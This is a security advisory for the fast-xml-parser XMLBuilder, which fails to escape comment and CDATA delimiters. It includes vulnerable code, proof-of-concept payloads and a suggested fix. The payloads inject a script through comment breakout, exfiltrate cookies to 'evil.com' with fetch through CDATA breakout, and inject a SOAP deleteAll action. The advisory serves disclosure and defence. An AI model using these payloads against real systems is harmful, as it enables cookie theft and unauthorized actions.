GHSA-gh4j-gqv2-49f6

# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

## Summary

fast-xml-parser XMLBuilder does not escape the `-->` sequence in comment content or the `]]>` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues: - CVE-2023-26920: Prototype pollution (parser) - CVE-2023-34104: ReDoS (parser) - CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder - CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.

## Vulnerable Code

**File**: `src/fxb.js`

```javascript // Line 442 - Comment building with NO escaping of --> buildTextValNode(val, key, attrStr, level) { // ... if (key === this.options.commentPropName) { return this.indentate(level) + `<!--${val}-->` + this.newLine; // VULNERABLE } // ... if (key === this.options.cdataPropName) { return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine; // VULNERABLE } } ```

Compare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.

## Proof of Concept

### Test 1: Comment Injection (XSS in SVG/HTML context)

```javascript import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({ commentPropName: "#comment", format: true, suppressEmptyNode: true });

const xml = { root: { "#comment": "--><script>alert('XSS')</script><!--", data: "legitimate content" } };

console.log(builder.build(xml)); ```

**Output**: ```xml <root> <!----><script>alert('XSS')</script><!----> <data>legitimate content</data> </root> ```

### Test 2: CDATA Injection (RSS feed)

```javascript const builder = new XMLBuilder({ cdataPropName: "#cdata", format: true, suppressEmptyNode: true });

const rss = { rss: { channel: { item: { title: "Article", description: { "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more" } }}} };

console.log(builder.build(rss)); ```

**Output**: ```xml <rss> <channel> <item> <title>Article</title> <description> <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]> </description> </item> </channel> </rss> ```

### Test 3: SOAP Message Injection

```javascript const builder = new XMLBuilder({ commentPropName: "#comment", format: true });

const soap = { "soap:Envelope": { "soap:Body": { "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--", Action: "getBalance", UserId: "12345" } } };

console.log(builder.build(soap)); ```

**Output**: ```xml <soap:Envelope> <soap:Body> <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!----> <Action>getBalance</Action> <UserId>12345</UserId> </soap:Body> </soap:Envelope> ```

The injected `<Action>deleteAll</Action>` appears as a real SOAP action element.

## Tested Output

All tests run on Node.js v22, fast-xml-parser v5.5.12:

``` 1. COMMENT INJECTION: Injection successful: true

2. CDATA INJECTION (RSS feed scenario): Injection successful: true

4. Round-trip test: Injection present: true

5. SOAP MESSAGE INJECTION: Contains injected Action: true ```

## Impact

An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:

1. **XSS**: Inject `<script>` tags into XML/SVG/HTML documents served to browsers 2. **SOAP injection**: Modify SOAP message structure by injecting XML elements 3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout 4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context

This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).

## Suggested Fix

Escape delimiters in comment and CDATA content:

```javascript // For comments: replace -- with escaped equivalent if (key === this.options.commentPropName) { const safeVal = String(val).replace(/--/g, '&#45;&#45;'); return this.indentate(level) + `<!--${safeVal}-->` + this.newLine; }

// For CDATA: split on ]]> and rejoin with separate CDATA sections if (key === this.options.cdataPropName) { const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>'); return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine; } ```